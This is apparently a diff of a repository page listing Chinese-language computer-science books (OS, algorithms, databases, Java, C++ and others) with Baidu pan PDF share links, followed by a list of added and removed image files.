||||
|
||||
# 操作系统
|
||||
|
||||
- [计算机操作系统.pdf](https://pan.baidu.com/s/1C-MgvslLKd1buwmebti6Qg)
|
||||
- [鸟哥的 Linux 私房菜](https://pan.baidu.com/s/1Qm2G4rghPorQeH5J9fDHTg)
|
||||
- [深入理解计算机系统.pdf](https://pan.baidu.com/s/1OoyVI90fK1Q9eixzH9jnpQ)
|
||||
- [现代操作系统.pdf](https://pan.baidu.com/s/12mTkrpLsb7tz11cGn_KZ4w)
|
||||
|
||||
# 算法
|
||||
|
||||
- [算法.pdf](https://pan.baidu.com/s/1Va1R66d13ynmita8nfkRPg)
|
||||
- [剑指 Offer.pdf](https://pan.baidu.com/s/1HmGwXvTcHDrQnUAL1wWE3g)
|
||||
- [编程之美.pdf](https://pan.baidu.com/s/1SZGUbvKpKOomM-iYxe_GGw)
|
||||
- [程序员代码面试指南.pdf](https://pan.baidu.com/s/10EoXyW33MnYJUX5YeD5pPg)
|
||||
|
||||
# 设计模式
|
||||
|
||||
- [Head First 设计模式.pdf](https://pan.baidu.com/s/1JOO4M3c6EGB5xHz_-aGtDQ)
|
||||
- [设计模式 可复用面试对象软件的基础.pdf](https://pan.baidu.com/s/1n41aEgGuRg9hQ-9iwOxc5A)
|
||||
|
||||
# 数据库
|
||||
|
||||
- [数据库系统概论.pdf](https://pan.baidu.com/s/1xhYsZUi2fugLf9jxSWA0pQ)
|
||||
- [高性能 MySQL.pdf](https://pan.baidu.com/s/1aXRWznphuiEc4XRXpM1qLA)
|
||||
- [MySQL 必知必会.pdf](https://pan.baidu.com/s/182JK19-rvbISYAv4aLk7xg)
|
||||
|
||||
# Redis
|
||||
|
||||
- [Redis 设计与实现.pdf](https://pan.baidu.com/s/1XovYaApdsVsd97pLCwAvpA)
|
||||
- [Reids 实战.pdf](https://pan.baidu.com/s/1bfbiPjoBEaNUs6qLWVEIJw)
|
||||
|
||||
# Java
|
||||
|
||||
- [Java 编程思想.pdf](https://pan.baidu.com/s/1iNBkY9ANUcmeSp4VjBGhRQ)
|
||||
- [深入理解 Java 虚拟机.pdf](https://pan.baidu.com/s/1zdATX8Qs-RMk6DN7iqECYw)
|
||||
- [Java 并发编程实战.pdf](https://pan.baidu.com/s/1LkPVPrT_3BYFkfxieBkeVw)
|
||||
|
||||
# C++
|
||||
|
||||
- [C++ Promer 第五版.pdf](https://pan.baidu.com/s/1VhhqN7oVcrv0KhF32CXRLQ)
|
||||
- [C 和指针.pdf](https://pan.baidu.com/s/1u3-QrdnkHo5ScUK84v7C5w)
|
||||
- [Unix 环境高级编程.pdf](https://pan.baidu.com/s/1K6xm3YlV53trCxyGR0j_gQ)
|
||||
- [Unix 网络编程.pdf](https://pan.baidu.com/s/10iFqDOHSveJC3VC7dl1vMw)
|
||||
- [Effective C++.pdf](https://pan.baidu.com/s/1o-hgLJ4XvXAHeFhWAuuiFQ)
|
||||
|
||||
# 工具
|
||||
|
||||
- [Pro Git.pdf](https://pan.baidu.com/s/1zYoS3lB1yCCT-So1YeoRuA)
|
||||
- [正则表达式必知必会.pdf](https://pan.baidu.com/s/1ybA1qvjx4p844Pd8zDlx7Q)
|
||||
|
||||
# 编码实践
|
||||
|
||||
- [代码大全.pdf](https://pan.baidu.com/s/1H1ilY54BISk7oDaKYpcrwA)
|
||||
- [重构.pdf](https://pan.baidu.com/s/1pWGwRRVxtpSmlsK7B1uU7Q)
|
||||
- [敏捷软件开发.pdf](https://pan.baidu.com/s/1HGHeahqtscz7iczhK7ps-Q)
|
||||
- [编写可读代码的艺术.pdf](https://pan.baidu.com/s/14uxNIdeXKLOnUJ6LMRndPg)
|
||||
- [程序员的职业素养.pdf](https://pan.baidu.com/s/1MaNeNsoqlTMn2uuT1QrsHQ)
|
||||
- [人月神话.pdf](https://pan.baidu.com/s/17sIRZxCf_uJMZNnqAHEDkA)
|
||||
- [黑客与画家.pdf](https://pan.baidu.com/s/1s0vhcWxN_36PpZeJoOHrKA)
|
||||
|
||||
# 科普
|
||||
|
||||
- [计算机程序的构造与解释.pdf](https://pan.baidu.com/s/1fKo7ntvQUettvjaTQqyCEw)
|
||||
- [数学之美.pdf](https://pan.baidu.com/s/1dNFZcBdDhA80-pWT1qcQSg)
|
||||
- [编码.pdf](https://pan.baidu.com/s/1fII84UPuo8aIxDkOakvUVg)
|
||||
- [编程珠玑.pdf](https://pan.baidu.com/s/1XarJowXrxoBtKdmVCGcm1w)
|
Before Width: | Height: | Size: 37 KiB |
Before Width: | Height: | Size: 23 KiB |
Before Width: | Height: | Size: 44 KiB |
Before Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 44 KiB |
Before Width: | Height: | Size: 49 KiB |
Before Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 21 KiB |
Before Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 6.7 KiB |
Before Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 9.9 KiB |
Before Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 23 KiB |
Before Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 24 KiB |
Before Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 7.1 KiB |
Before Width: | Height: | Size: 11 KiB |
Before Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 21 KiB |
Before Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 21 KiB |
Before Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 30 KiB |
Before Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 120 KiB |
Before Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 42 KiB |
BIN
pics/02986f62-c641-44a8-a55f-983581490e0c.png
Normal file
After Width: | Height: | Size: 409 KiB |
Before Width: | Height: | Size: 107 KiB |
Before Width: | Height: | Size: 31 KiB |
BIN
pics/061c29ce-e2ed-425a-911e-56fbba1efce3.jpg
Normal file
After Width: | Height: | Size: 34 KiB |
BIN
pics/0635cbe8.png
Normal file
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 43 KiB |
BIN
pics/07903a31-0fb3-45fc-86f5-26f0b28fa4e7.png
Normal file
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 8.0 KiB |
BIN
pics/08427d38-8df1-49a1-8990-e0ce5ee36ca2.png
Normal file
After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 41 KiB |
Before Width: | Height: | Size: 1.0 KiB |
BIN
pics/09e6e8d4-4d83-4949-b908-6d6b4c2fd064.png
Normal file
After Width: | Height: | Size: 7.0 KiB |
BIN
pics/0a9f4125-b6ab-4e94-a807-fd7070ae726a.png
Normal file
After Width: | Height: | Size: 129 KiB |
Before Width: | Height: | Size: 36 KiB |
BIN
pics/0c55e11c-d3ce-4cd8-b139-028aea6f40e3.png
Normal file
After Width: | Height: | Size: 14 KiB |